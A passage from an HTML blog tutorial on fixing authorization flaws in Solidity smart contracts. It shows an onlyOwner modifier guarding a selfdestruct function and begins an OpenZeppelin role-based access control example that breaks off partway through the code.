<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><o:p> </o:p></p>
<h2><a name="_Toc47892517">Example Fix-2 Using Modifiers for Simple
Authentication</a></h2>
<p class="MsoNormal">Another popular authorization pattern is using an onlyOwner
modifier. This is often coupled with Openzeppelin security libraries, which we
will take a look at in our role-based example. However, in the example below we
use a modifier in a simple way to illustrate what you may see in a
contract.<span style="mso-spacerun: yes;"> </span><o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><o:p> </o:p></p>
<div style="background: black; border: 1pt solid rgb(136, 136, 136); margin-left: 0.25in; margin-right: 0in; mso-border-alt: solid #888888 .75pt; mso-element: para-border-div; padding: 2pt;"><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l3 level1 lfo15; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">1.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-tab-count: 1;"> </span>pragma solidity ^</span><span style="color: indianred;">0.6</span><span style="color: white;">.</span><span style="color: indianred;">6</span><span style="color: white;">;<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l3 level1 lfo15; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">2.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l3 level1 lfo15; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">3.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-tab-count: 1;"> </span>contract simpleAuth2 {<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l3 level1 lfo15; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">4.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>address owner;<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l3 level1 lfo15; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">5.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>mapping (address =></span><span style="color: #e28964;">uint</span><span style="color: white;">) balances;<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l3 level1 lfo15; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">6.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l3 level1 lfo15; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">7.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">constructor</span><span style="color: white;">() </span><span style="color: #e28964;">public</span><span style="color: white;"> {<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l3 level1 lfo15; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">8.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-tab-count: 1;"> </span>owner = msg.sender;<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l3 level1 lfo15; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">9.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>}<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l3 level1 lfo15; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">10.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-spacerun: yes;"> </span>modifier onlyOwner() {<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l3 level1 lfo15; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">11.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">require</span><span style="color: white;">(msg.sender == owner);<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l3 level1 lfo15; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">12.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-tab-count: 1;"> </span>_;<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l3 level1 lfo15; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">13.</span></span><!--[endif]--><span style="color: white;"> <span style="mso-spacerun: yes;"> </span>}<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l3 level1 lfo15; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">14.</span></span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l3 level1 lfo15; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">15.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">function</span><span style="color: white;"> deposit() </span><span style="color: #e28964;">public</span><span style="color: white;"> payable{<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l3 level1 lfo15; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">16.</span></span><!--[endif]--><span style="color: white;"> <span style="mso-tab-count: 1;"> </span>balances[msg.sender] = balances[msg.sender]+msg.</span><span style="color: #e28964;">value</span><span style="color: white;">;<span style="mso-tab-count: 1;"> </span><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l3 level1 lfo15; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">17.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-tab-count: 2;"> </span>}<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l3 level1 lfo15; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">18.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l3 level1 lfo15; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">19.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">function</span><span style="color: white;"> withdraw(</span><span style="color: #e28964;">uint</span><span style="color: white;"> amount) </span><span style="color: #e28964;">public</span><span style="color: white;"> payable {<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l3 level1 lfo15; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">20.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-tab-count: 1;"> </span></span><span style="color: #e28964;">require</span><span style="color: white;"> (balances[msg.sender] >= amount);<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l3 level1 lfo15; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">21.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-spacerun: yes;"> </span><span style="mso-tab-count: 1;"> </span>msg.sender.transfer(amount);<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l3 level1 lfo15; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">22.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>}<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l3 level1 lfo15; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">23.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l3 level1 lfo15; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">24.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">function</span><span style="color: white;"> kill() </span><span style="color: #e28964;">public</span><span style="color: white;"><span style="mso-spacerun: yes;"> </span>onlyOwner{<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l3 level1 lfo15; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">25.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-tab-count: 1;"> </span>selfdestruct(msg.sender);<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l3 level1 lfo15; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">26.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>}<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l3 level1 lfo15; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">27.</span></span><!--[endif]--><span style="color: white;">}<o:p></o:p></span></pre></div>
<p class="MsoNormal"><span style="color: white;"> </span><o:p></o:p></p>
<h2><o:p> </o:p></h2>
<p class="MsoNormal">This contract is also very similar to the simpleAuth
contract above with a few small modifications to make it more extendable when
there are a ton of functions that need authorization restrictions. These
changes will also make the authorization simpler and more readable within your
code.<span style="mso-spacerun: yes;"> </span>Changes in this contract are on
lines 10 and 24. <o:p></o:p></p>
<p class="MsoNormal">On line 10 we define a modifier named onlyOwner which we can
apply to any function. This modifier code will run prior to the original functions
execution. In this example the modifier simply checks that the user calling the
function is the owner of the contract. You will also note the use of _; which
simply signals contract to continue running the function after this modifier
code is finished. <o:p></o:p></p>
<p class="MsoNormal">You can apply this onlyOwner modifier to any function you wish
to have authorization restrictions by simply adding onlyOwner in the function
definition. You will see this on line 24. If modifiers requirement is not met
the function will not be run. If the requirement is met it transfers control
back to the function to continue execution. <a name="_Toc47892518"><o:p></o:p></a></p><p class="MsoNormal"><br /></p><p class="MsoNormal">WalkThrough of Fixing Authorization Issues With Modifiers: </p>
<p class="MsoNormal"><span style="mso-bookmark: _Toc47892518;"><o:p> </o:p></span></p><div class="separator" style="clear: both; text-align: center;"><span style="mso-bookmark: _Toc47892518;"><iframe allowfullscreen="" class="BLOG_video_class" height="266" src="https://www.youtube.com/embed/cHJd_8EsMxM" width="320" youtube-src-id="cHJd_8EsMxM"></iframe></span></div><span style="mso-bookmark: _Toc47892518;"><br /></span><p></p>
<h2><span style="mso-bookmark: _Toc47892518;">Example Using Openzeppelin for Role
Based Access Control:</span></h2>
<p class="MsoNormal">The best way to cover your security needs as always is with
well-audited, open source security libraries. One option we have for a bit more
complex authorization is the Openzeppelin libraries located at: <o:p></o:p></p>
<p class="MsoNormal"><a href="https://github.com/OpenZeppelin/openzeppelin-contracts">https://github.com/OpenZeppelin/openzeppelin-contracts</a><o:p></o:p></p>
<p class="MsoNormal">For the previous examples you could have replicated the
simple authorization with the ownable contract by OpenZeppelin by importing its
functionality in the same way you would import library functionality in any
other language. <o:p></o:p></p>
<p class="MsoNormal">Since we already looked at a simple example without
OpenZeppelin, lets instead take a look at role-based authorization using
OpenZeppelin. Role based authorization a bit more involved, but not
complicated.<span style="mso-spacerun: yes;"> </span>Let’s take a look at a
simple example. <o:p></o:p></p>
<p class="MsoNormal">Before you read the descriptions type out the role-based
code below in remix and try to figure out what’s happening on your own by
deploying this contract and playing with its functionality and see if you can
understand how it works. <o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p>
<p class="MsoNormal">Action Steps to deploy: <o:p></o:p></p>
<blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p class="MsoListParagraphCxSpFirst" style="mso-list: l1 level1 lfo8; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "times new roman";">
</span></span></span><!--[endif]-->Open up remix in your browser</p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l1 level1 lfo8; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "times new roman";">
</span></span></span><!--[endif]-->Type out the following code and the import will
import all of the OpenZeppelin files in a directory within remix automatically</p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l1 level1 lfo8; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "times new roman";">
</span></span></span><!--[endif]-->With your first account, make sure to compile
this with the newest version of Solidity that OpenZepplin files are using at
the time of writing this was 0.6.2. I used version 0.6.6 without any issues. If
versions change in the future you will get an error. Review the error and
update the compiler version and pragma version in the code appropriately. But
always use the latest version of OpenZepplin files. </p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l1 level1 lfo8; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "times new roman";">
</span></span></span><!--[endif]-->Take a look at the created users and make
assumptions as to what each user has access to</p><p class="MsoListParagraphCxSpLast" style="mso-list: l1 level1 lfo8; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "times new roman";">
</span></span></span><!--[endif]-->Play with each function under both the admin and
the user context with the first account and another account of your choice. </p></blockquote><p class="MsoListParagraphCxSpFirst" style="mso-list: l1 level1 lfo8; text-indent: -0.25in;"><!--[if !supportLists]--><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="mso-list: l1 level1 lfo8; text-indent: -0.25in;"><!--[if !supportLists]--><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="mso-list: l1 level1 lfo8; text-indent: -0.25in;"><!--[if !supportLists]--><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="mso-list: l1 level1 lfo8; text-indent: -0.25in;"><!--[if !supportLists]--><o:p></o:p></p>
<p class="MsoListParagraphCxSpLast" style="mso-list: l1 level1 lfo8; text-indent: -0.25in;"><!--[if !supportLists]--><o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p>
<div style="background: black; border: 1pt solid rgb(136, 136, 136); margin-left: 0.25in; margin-right: 0in; mso-border-alt: solid #888888 .75pt; mso-element: para-border-div; padding: 2pt;"><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">1.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-tab-count: 1;"> </span>pragma solidity ^</span><span style="color: indianred;">0.6</span><span style="color: white;">.</span><span style="color: indianred;">6</span><span style="color: white;">;<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">2.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-tab-count: 1;"> </span></span><span style="color: #e28964;">import</span><span style="color: white;"> </span><span style="color: #65b042;">"https://github.com/OpenZeppelin/openzeppelin-</span><span style="color: white;"><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">3.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: #65b042;"><span style="mso-tab-count: 1;"> </span>contracts/blob/master/contracts/access/AccessControl.sol"</span><span style="color: white;">;<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">4.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">5.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-tab-count: 1;"> </span>contract roleBased </span><span style="color: #e28964;">is</span><span style="color: white;"> </span><span style="color: #89bdff;">AccessControl</span><span style="color: white;"> {<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">6.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>bytes32 </span><span style="color: #e28964;">public</span><span style="color: white;"> constant admin = keccak256(</span><span style="color: #65b042;">"admin"</span><span style="color: white;">);<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">7.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>bytes32 </span><span style="color: #e28964;">public</span><span style="color: white;"> constant user = keccak256(</span><span style="color: #65b042;">"user"</span><span style="color: white;">);<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">8.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>mapping (address =></span><span style="color: #e28964;">uint</span><span style="color: white;">) balances;<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">9.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">10.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">constructor</span><span style="color: white;">() </span><span style="color: #e28964;">public</span><span style="color: white;"> {<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">11.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-tab-count: 1;"> </span>_setupRole(admin, msg.sender);<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">12.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>}<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">13.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l11 level1 lfo16; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">14.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: 